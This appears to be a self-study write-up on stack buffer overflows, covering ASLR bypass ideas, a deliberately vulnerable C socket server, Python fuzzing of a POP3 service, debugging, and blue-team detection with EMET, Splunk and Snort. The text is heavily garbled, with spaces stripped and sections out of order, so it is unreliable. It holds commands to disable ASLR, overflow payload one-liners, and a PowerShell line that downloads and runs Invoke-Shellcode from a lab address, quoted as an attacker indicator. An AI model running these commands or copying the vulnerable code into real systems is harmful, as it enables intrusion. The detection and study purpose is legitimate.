Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation
BypassingASLR
Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and
windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible
chunksandhopefullythishelpsguidemyselfandotherfurtherstudies
NonASLRlinkedbinaries
It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with
some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something
that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR
enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the
memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program
with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass
ASLRandbeginaROPattack
httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf
httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf
PointerLeaksDanglingPointers
If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot
for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code
into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE
which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory
object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that
the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how
virtualfunctionsarereferencedviavirtualtables
httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf
httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf
httpswwwrapid7comresourceswhy-you-should-be-using-emet
HEAPSprayswithASLRdisabledVirtualAlloc()inWindows
If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create
write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can
either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by
VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this
seemslikejustplainluck
httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified
httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf
BlueteamEngineeringforpostBufferOverflow
For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just
learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos
are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues
SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to
Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I
thoughtthroughthisIlumpedthedetectionintotwobuckets
1 DetectingFailedBufferOverflowAttempts
2 DetectingSuccessfullyBufferOverflowAttempts
DetectingFailedBufferOverAttemptsinWindows
If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events
are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the
oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog
For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as
the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases
whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked
EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their
sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a
similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM
Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a
collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via
GPOetc
ltQueryListgt
ltQueryId=0Path=Applicationgt
ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt
ltQuerygt
ltQueryListgt
To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and
configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service
to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on
somepredefinedSplunkpolicy
Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an
exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog
The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server
BasicallythispolicysayswhichlogscangetsentontotheSIEM
[WinEventLogForwardedEvents]
disabled=0
renderXml=1
evt_resolve_ad_obj=1
The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to
and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk
queries
SampleEMETEvent
EMETversion55587131892
EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE
EAF+checkfailed
ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE
UserNameDOMAINuser
SessionID1
PID0x1348(4936)
TID0xF90(3984)
ModuleSOMEDLLdll
ModBase0x11630000
ModAddress0x11642E99
MemAddress0x76F501A4
Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to
prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may
need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice
beachheadtomaintainafoothold
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf
httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server
DetectingSuccessfulBufferOverAttempts
The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker
has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed
which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two
approachespaintsasolidpicture
1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)
2) Hostbasedsignaturedetection
NetworkBasedDetection
Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the
clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication
1 EncodedHEXpayloadmalwarewithintheclientattack
2 Abunchofx90rsquoswithintheclientattack
3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal
If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have
SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from
bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit
generatedBSDshellcode
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)
content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416
classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment
Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at
2010_07_30updated_at2016_07_01)
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)
content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly
referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any
attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag
Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)
Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly
impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS
interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the
payloadsolargethattherulesareignoredduetoperformanceaswellSneaky
HostBasedDetection
In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and
made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer
OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean
Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas
netviewdomain
netuserdomain
netaccountsdomain
Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas
systeminfo
netlocalgroupldquoAdministratorsrdquo
uname-a
catprocissue
Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell
start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait
powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString
(http10022108081CodeExecutionInvoke-Shellcodeps1)
Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc
ENJOY
ReferencesandHonorableMentions
GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors
-----------------WARNING------------------------intread_bytes=read(cli_fdbufferto_read)hasabufferoverflowvulnerabilitybecauseto_readcanbemuchlargerthanthemacrodefined1024Thatsbecausethereisnobytelengthvalidationonto_readbeforeweplaceintobufferof1024meh intread_bytes=read(cli_fdbufferto_read)printf(Readdbytesnread_bytes)printf(Incomingmessagesnbuffer)intmain(intargccharargv)if(argclt2)printf(Usages[port]nargv[0])exit(1)sockfdisafiledescriptorsiearraysubscriptsintothefiledescriptortableThesetwovariablesstorethevaluesreturnedbythesocketsystemcallandtheacceptsystemcallportstorestheportnumberonwhichtheserveracceptsconnectionscli_lenstoresthesizeoftheaddressoftheclientThisisneededfortheacceptsystemcallintportsock_fdcli_fdsocklen_tcli_lenAsockaddr_inisastructurecontaininganinternetaddressThisstructureisdefinedinltnetinetinhgtstructsockaddr_inserv_addrcli_addrThesocket()systemcallcreatesanewsocketIttakesthreeargumentsThefirstistheaddressdomainofthesocketRecallthattherearetwopossibleaddressdomainstheunixdomainfortwoprocesseswhichshareacommonfilesystemandtheInternetdomainforanytwohostsontheInternetThesymbolconstantAF_UNIXisusedfortheformerandAF_INETforthelatter(thereareactuallymanyotheroptionswhichcanbeusedhereforspecializedpurposes)ThesecondargumentisthetypeofsocketRecallthattherearetwochoiceshereastreamsocketinwhichcharactersarereadinacontinuousstreamasiffromafileorpipeandadatagramsocketinwhichmessagesarereadinchunksThetwosymbolicconstantsareSOCK_STREAMandSOCK_DGRAMThethirdargumentistheprotocolIfthisargumentiszero(anditalwaysshouldbeexceptforunusualcircumstances)theoperatingsystemwillchoosethemostappropriateprotocolItwillchooseTCPforstreamsocketsandUDPfordatagramsocketsThesocketsystemcallreturnsanentryintothefiledescriptortable(ieasmallinteger)ThisvalueisusedforallsubsequentreferencestothissocketIfthesocketcallfailsitreturns-1InthiscasetheprogramdisplaysanderrormessageandexitsHoweverthissystemcallisunlikelytofailThisisasimplifieddescriptionofthesocketcalltherearenumerousotherchoicesfordomainsandtypesbutthesearethemostcommonsock_fd=socket(AF_INETSOCK_STREAM0)
if(sock_fdlt0)printf(Erroropeningasocketn)exit(1)Anin_addrstructuredefinedinthesameheaderfilecontainsonlyonefieldaunsignedlongcalleds_addrforserveraddressThevariableserv_addrwillcontaintheaddressoftheserverandcli_addrwillcontaintheaddressoftheclientwhichconnectstotheserverTheportnumberonwhichtheserverwilllistenforconnectionsispassedinasanargumentandthisstatementusestheatoi()functiontoconvertthisfromastringofdigitstoanintegerport=atoi(argv[1])serv_addrsin_family=AF_INETserv_addrsin_addrs_addr=INADDR_ANYserv_addrsin_port=htons(port)Thebind()systemcallbindsasockettoanaddressinthiscasetheaddressofthecurrenthostandportnumberonwhichtheserverwillrunIttakesthreeargumentsthesocketfiledescriptortheaddresstowhichisboundandthesizeoftheaddresstowhichitisboundThesecondargumentisapointertoastructureoftypesockaddrbutwhatispassedinisastructureoftypesockaddr_inandsothismustbecasttothecorrecttypeThiscanfailforanumberofreasonsthemostobviousbeingthatthissocketisalreadyinuseonthismachineif(bind(sock_fd(structsockaddr)ampserv_addrsizeof(serv_addr))lt0)printf(Erroronbind()n)exit(1)ThelistensystemcallallowstheprocesstolistenonthesocketforconnectionsThefirstargumentisthesocketfiledescriptorandthesecondisthesizeofthebacklogqueueiethenumberofconnectionsthatcanbewaitingwhiletheprocessishandlingaparticularconnectionThisshouldbesetto5themaximumsizepermittedbymostsystemsIfthefirstargumentisavalidsocketthiscallcannotfailandsothecodedoesntcheckforerrors printf(Waitingforaconnectionn)listen(sock_fd1)while(1)infiniteloopTheaccept()systemcallcausestheprocesstoblockuntilaclientconnectstotheserverThusitwakesuptheprocesswhenaconnectionfromaclienthasbeensuccessfullyestablishedItreturnsanewfiledescriptorandallcommunicationonthisconnectionshouldbedoneusingthenewfiledescriptorThesecondargumentisareferencepointertotheaddressoftheclientontheotherendoftheconnectionandthethirdargumentisthesizeofthisstructurecli_len=sizeof(cli_addr)cli_fd=accept(sock_fd(structsockaddr)ampcli_addrampcli_len)if(cli_fdlt0)printf(Erroronaccept()n)exit(1)printf(Connectionacceptedn)
vuln_read(cli_fd)charmessage[]=HellotheretrytoPwnmeifyourea1773H4x0rlolznwrite(cli_fdmessagestrlen(message))close(cli_fd)sleep(1)return0
BasicsofFuzzingLetrsquosgetonethingoutofthewayIambynomeansamasteroffuzzingLikethisentiredocumentIonlywritetore-enforcemyownpersonallearningandmaybehaveausefulreferenceformyselforfriendslaterPerOWASPldquoFuzztestingorFuzzingisaBlackBoxsoftwaretestingtechniquewhichbasicallyconsistsinfindingimplementationbugsusingmalformedsemi-malformeddatainjectioninanautomatedfashionrdquoThereare3generictypesoffuzzers
ApplicationFuzzers ProtocolFuzzers FileFormattingFuzzers
TolearnthecoreconceptsIstartedbytakingapurestapproachandlearningthebasicsoffuzzingwithmanualcommand-lineandalittlebitofpythonAllyouneedisthegeneralcuriosityofldquoWhathappenswhenItypethisinrdquoHoweverwhendealingwithlargebuffersorvariouscombinationandpermutationyoumayneedtowritesomeforandwhileloopsinascriptinglanguageorusedpre-computedwellknownbadparameterlistslikethosefoundherehttpsgithubcomdanielmiesslerSecListstreemasterFuzzing
FuzzingforOverflows-GettheArsquosBrsquosandCrsquosAsimpleandwellknownpythonexamplecanbefoundfloatingaroundGithubandBlogstoexploitanoldPOP3serverOfcourseyouneedtoknowsomebasicsofthePOP3protocolcommandThebelowcodeisagoodexampleofgrowingavalueinbyte-sizebeyondtheallocatedmemorysizeThisexampledoesntfocusonfuzzingldquoWebapplicationrdquoresponsesbutinsteadfocusesonsimplebytesizebasedbufferoverflowEventuallytheapplicationcrasheswithasegmentationfaultwhen
FuzzerBuffergtApplicationBuffer
WersquolluseabunchofArsquosBrsquosandCrsquostolocatethespaceinmemorywehavewrittenintoYoucanpickwhatevervaluesyouwantbutstartingwritingoutafewwellknownHEXcodesmakesiteasyforanooblikemyselftoseewhendiggingintothestackandbufferduringdebuggingHereareacouplepiecesofPythonscriptthatcanbere-usedforvariousoccasionsusrbinpythonimportsocketCreateanarrayofbufferswithArsquosfrom1to5900usingincrementsof200Incrementsof200arearbitraryyoucouldusen++ifyouwanttowaitlongerWhateverbuffer=[A]counter=100whilelen(buffer)lt=30
bufferappend(Acounter)counter=counter+200
forstringinbufferprintFuzzingPASSwithsbyteslen(string)s=socketsocket(socketAF_INETsocketSOCK_STREAM)connect=sconnect((19216801110))srecv(1024)ssend(USERtestrn)srecv(1024)
ssend(PASS+string+rn)ssend(QUITrn)sclose()AnotherexamplemightbetogeneraterandomAlphaNumericvaluestothrowatyourapplicationargumentsThevalueofperformingthisofthismightdependonwhattypeofbehavioryourtryingtoinvokeimportsysfromrandomimportrandintsamplefromfuzzerimportFuzzerclassAlphaNumericFuzzer(Fuzzer)Afuzzerthatproducesunstructuredalphanumericoutputdef__init__(selfmin_lengthmax_length)super()__init__()self_min_length=min_lengthself_max_length=max_lengthself_alphabet=set(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789)propertydefmin_length(self)returnself_min_length
propertydefmax_length(self)returnself_max_lengthdefgenerate(self)data=[]start=selfmin_lengthend=0ifselfmax_lengthisnotNoneend=randint(startselfmax_length)elseend=randint(startsysmaxsize)foriinrange(startend)dataappend(sample(self_alphabet1)[0])self_casesappend(join(data))returnjoin(data)AnothersimplecommandforthemanualtestinginthisPoCareasfollowspython-cprintx41overflowpython-cprintx41[offset]+x42[4]+x43[Overflow-offset-4]python-cprintx90[offset]+InstructionPointer[4]+x90[Overflow-offset-4]DonrsquotworryifthesecommandsareconfusingwersquorebuildinguptoexamplesThegoalhereistolearntowriteBOmalwareReversecompiledBbinarieshowtowritethebasicsoflowlevelCprogrammingSocketProgrammingandAssemblyHoweverthereareplentyofldquopre-definedrdquolistsofwellknownbadparameterstopassintoinputfieldsandheadersviaallsortsofWeb-AppproxytoolsMaybeforanothertimeIntelligentvsDumbFuzzingIjustgotoutofanembeddedsystemexploitationclasstaughtbysomebrilliantexploitresearchersanddevelopersfromRaytheonMartinHodoakaldquoShellcodeMercenaryrdquosaidsomethingIthoughtwasagreatstickingpointldquoYoucaneitherthrowabunchofgarbageattheprogramoryoucanunderstandwhatthecodeisexpectingrdquoInthisexampleweareluckyenoughtohaveaccesstosomesourcecodeThereisagoodexampleinthesourcecodethatprovesMartinrsquospointServer-SideSourceCodeExampledefineHEADER_SIZE4charbuffer[BUFFER_BOUNDARY_SIZE]intto_readread(cli_fdampto_readHEADER_SIZE)printf(Willreaddbytesnto_read)
Client-SideCodeCodeExampledefconvert(message)raw=raw+=structpack(ltIlen(message))raw+=messagereturnrawWhyisthisimportantWhatpointdoesthisillustrateMyhumbleopinionisthattheapplicationmaybeexpectingaveryparticularsetofstringsbeforeprocessinganydatainthebufferitselfForexamplemaybethesocketyourcommunicatingisexpectingsomesortofpreamble2byteflagsorevenasimpleldquoHellordquoprefixMorerealisticallytheclientcouldsendsometypeofuniqueOSflagClientVersionFlagHelloorwhoknowswhatInthiscasethereisanexpectationthatthefirst4byteswillincludethelengthoftheclientpayloadThelengthoftheclientpayloadisofcoursecalculatedbythepythonclientAdnthatrsquosjustaweirdnuanceofthiscodeandprobablynoothercodeSoifyoutrytoconnectdirectlytothesocketandthrowaldquoBunchofArsquosrdquoatthelistenermaybetheldquoAsrdquowillgettothenextfunctionfortheoverflowORmaybetheldquoArsquosrdquowonrsquotevenmakeitbecauseofsomemissingpre-fixlogicstuffthatisuniquetotheapplicationExampleofOverflowcrashusingPrefix
InthiscasewewereluckyandourldquoArsquosrdquoorldquox41rdquomadeitthroughandoverwrotetheinstructionpointerThismaynotmeanmuchtothosenewtotheBufferOverflowconceptbutdonrsquotworrybecausethepointisldquothehackworkedrdquobecauseweknewtheservicewasexpectinga4byteofprefixThemoreyouunderstandwhattheapplicationexpectsthemorelikelyyouaregettingintodeeperpartsinthecode Nowletrsquostakealookatblindlyfuzzingwithoutunderstandingtheclient-serversourcecode
ExampleofOverflowusingBlindNecatTelnetpayloadwithoutthePrefix
WhathappenedhereItwouldappearthatwesentthesamenumberofldquoArsquosrdquototheprogrambutweexitednormallyanddidnotreceiveasegmentationfaultattheinstructionpointerWhyWellwithoutknowingthesourcecodewecanrsquotreallysayAlthowecanguessthatwithouttheldquoPrefixrdquobytesthenwearenotover-writingthestackenoughandneedmoreldquoArsquosrdquoAlsolookhowtheldquoWillReadrdquoandldquoReadrdquoseemstobeallwhackyandnotmakemuchsensePreviouslytheclientpyscriptsentthestringldquo1050rdquointhemessageandtheservertolduswesent1050bytesbutonlybecauseldquo1050rdquostringwasprefixedontothemessageviatheclientSincethenetcatcommanddoesnrsquothavethatlogictheldquoprefixrdquoismissingandourserversidecodedoesnrsquotknowwhattodoThiscouldresultinsomelogicfailureearlyinthesourcecodekeepingyoufromfeedingthoseldquoArsquosrdquointoavulnerablefunctionthathidesdeeperinthestackwaitingforajuicy0-day(-
ReversingCompiledBinariesInthecaseoftheexampleclientpywegetluckyandcansimplyreverseengineerthepythonsourcecodeIfweweredealingwithacompiledclientbinarythenIrsquodsaystartwithldquofilerdquoandldquostringsrdquocommandandthenmoveontode-compliationLetrsquostryfileandstringsonourserversidecompiledcodejustforkicks
WecanseeitsacompiledELFbinarythepre-processordirectivebeingusedandlaterinthestdoutofstringcommandwecanseethestringtheprintfgivesusRememberifweonlyhadthecompiledbinariestoworkwiththensuccessfullyfuzzingthisapplicationmaygiveusproblemsbecauseoftheunknownldquoprefixrdquothatisappendedtotheclientpymessageSohowdowefigurethisoutifwedonthaveaccesstothesource-codeNSAGHIDRAtotheRescueOurfriendsattheNSArecentlyannouncedwhatIconsideraprettykickasstoolGHIDRAToquotedirectlyfromWIKIldquoGhidraisafreeandopensourcereverseengineeringtooldevelopedbytheNationalSecurityAgency(NSA)ThebinarieswerereleasedatRSAConferenceinMarch2019thesourceswerepublishedonemonthlateronGitHubGhidraisseenbymanysecurityresearchersasacompetitortoIDAProandJEBDecompilerrdquo
LetrsquossayonewayoranotherwegetourhandsonsomecompiledclientorserverbinariesandneedtodoadeepdivemaybetodevelopourownmyintelligentfuzzerWhatmightthatlooklikeDownloadtheGhidrasourcecompileandrunThensimplyimportyourbinaryThatrsquosit
YoursquollwanttousetheldquoCodeBrowserrdquointheGHIDRAtoolchestFromthereimportyourcompiledbinaryGhidrawilldothede-compilationmagicforyoufromthereAsillustratedbelowIrsquovepulledupthecompiledvulnServerCassemblycodeandGhidarsquosguessatthede-compiledfunctionsourcecodeThesourcecodewonrsquotmatchexactlybutyouwillbeabletoviewthefunctionandthelogicwhichwillallowyoutofindinsecurefunctionsandcustomfunctionsthatcreatesimilarproblems
WhatdoesallthismeanWellIbasicallywentthrougheachfunctionlookingforanyargumentthatmightbeinterestingIfyounoticedIrsquovehighlightedthex86op-codeatmemorylocation0x001012dwhichinvokesaCALLtoREAD()andsomesubsequentMOVrsquoswhicharelikelyaddingnewthe4BytestosomememorylocationThecorrespondingCcodeforthatassemblyissograciouslypositionedtotherightofourassemblyinstructionsLetrsquoslearnalittlebitabouttheREAD()functioninC
ssize_tread(intfsvoidbufsize_tN)ldquoFromthefileindicatedbythefiledescriptorfstheread()functionreadsNbytesofinputintothememoryareaindicatedbybufrdquoSotheprogrammerherewrotethisapplicationtoonlyreadthefirst4bytesofsomethingReadingfurtherintothedecompiledsourceweprintfthattellsuswerereadingtheldquoMessagerdquoakathepayloadorclientissendingSowersquorereadingthefirst4bytesoftheclientpayloadandstoringitintoavariablethatisthenbeingprintedbacktousinthevulnerableServerwhichprintsitrsquosldquoValuerdquoakanumberofBytes
Itlookslikethisisa4byteldquopre-fixrdquowhichisbasicallytheLEN(PAYLOAD)sentfromtheclientYoucanvalidatethisbelookingbackatthepythonclientcode
FormetheimportanttakeawaygoesbacktothatquoteearlierldquoYoucaneitherthrowabunchofgarbageattheprogramoryoucanunderstandwhatthecodeisexpectingrdquoIfwewereinadifferentsituationandwehadtowriteourownPythonfuzzingclientfromscratchwenowknowwhattheserverisexpectingfromtheclientFromherewecanreverseengineerourownfuzzingclientinwhateverlanguageyouwantWhenIfirstlearnedbufferoverflowsitwaswithwellknownvulnerableserversandtheldquoclientrequestrdquomessagewaswelldocumentedTherealityisthatdeeperstaticcodeanalysisisgenerallyrequiredforbufferoverflowsresearch
CrashingtheStackFinallyrightitrsquosalongstrangetripSo
WehavesomebasicskillsinC WehaveavulnerableCserverlisteningonthelocalnetwork WehaveeitheracustomorgenericclientforcommunicationtotheVulnerableServer WeunderstandweneedtoFuzztheprogramsarguments
Weusedsometoolstoreverseengineercompiledbinariesincaseweneedtogetcreativewiththefuzzypayload
Asaself-taughttechnologistoneofthemostdifficultareasIstruggledwithwasunderstandingwhatwasgoingonunderthehoodIstartedmyldquoTechyrdquojourneywritingJavaSCriptandHTMLbecauseitwaseasyandIcouldgetimmediatevisualfeedbackviachangesinthebrowserWorkingdownthestackintoCprogramingandx86x64LinuxandWindowsarchitectureswasandstillisnoteasyEitherWaylearninglowleveldebuggingisnecessaryWhatrsquosabufferldquoAbufferissimplyacontiguousblockofcomputermemorythatholdsmultipleinstancesofthesamedatatypeCprogrammersnormallyassociatewiththewordbufferarraysMostcommonlycharacterarraysArrayslikeallvariablesinCcanbedeclaredeitherstaticordynamicStaticvariablesareallocatedatloadtimeonthedatasegmentDynamicvariablesareallocatedatruntimeonthestackTooverflowistofloworfilloverthetopbrimsorboundsWewillconcernourselvesonlywiththeoverflowofdynamicbuffersotherwiseknownasstackbasedbufferoverflowsrdquo-SmashingtheStackbyAlephOneMostconfusingtomewashowthestackrelatesbacktoBufferandhowtheassemblylanguagefitsintothepuzzleSomeself-pacedlabshadmebreakopenadebuggertothesightofthishellip
TheScarydebuggerUI
IpersonallydecidedtogetofftheUIdebuggerbecauseitldquohadtoomanywindowsrdquoatthetimeLaterinthispaperIflipbacktotheUIbecauseitmadememorydumpseasytovisualizeWewillstartwithlinuxGDBintheterminalJustseemedalotcleanerviewandteachesyoumoreabouttheGUIversionAlthoughlearningtheterminalcommandstakemoretimethanclickingawindowtheyarebestforbeginners
NativeEDBinTerminal
OkaysoIputthesepicturesfirsttoputthebigbadscaryscreenswithldquoTheMatrixrdquofontoutofthewayHonestlyitrsquosnotthatbadIrsquovesynthesizedmynotesdowntoafewimportantthingsUnderstandtheBasicsofMemoryManagementIfoundanarticlethatbrokedownthebasicsofmemoryandthestackinawaythatreallyhelpedputthepiecestogetherAsanyonemovespastbasicNOPsledsintomoreadvancedexploitwritingthefollowingnotesareabsolutelycriticalFlipbackandforthbetweenthedefinitionsandtheimagesafewtimes
1 CommandlineargumentsandenvironmentvariablesTheargumentspassedtoaprogrambeforerunningandtheenvironmentvariablesarestoredinthehighmemoryaddresssection
2 StackThisistheplacewhereallthefunctionparametersreturnaddressesandthelocalvariablesofthefunctionarestoredItrsquosaLIFOstructureItgrowsdownwardinmemory(fromhigheraddressspacetoloweraddressspace)asnewfunctioncallsaremadeWewillexaminethestackinmoredetaillater
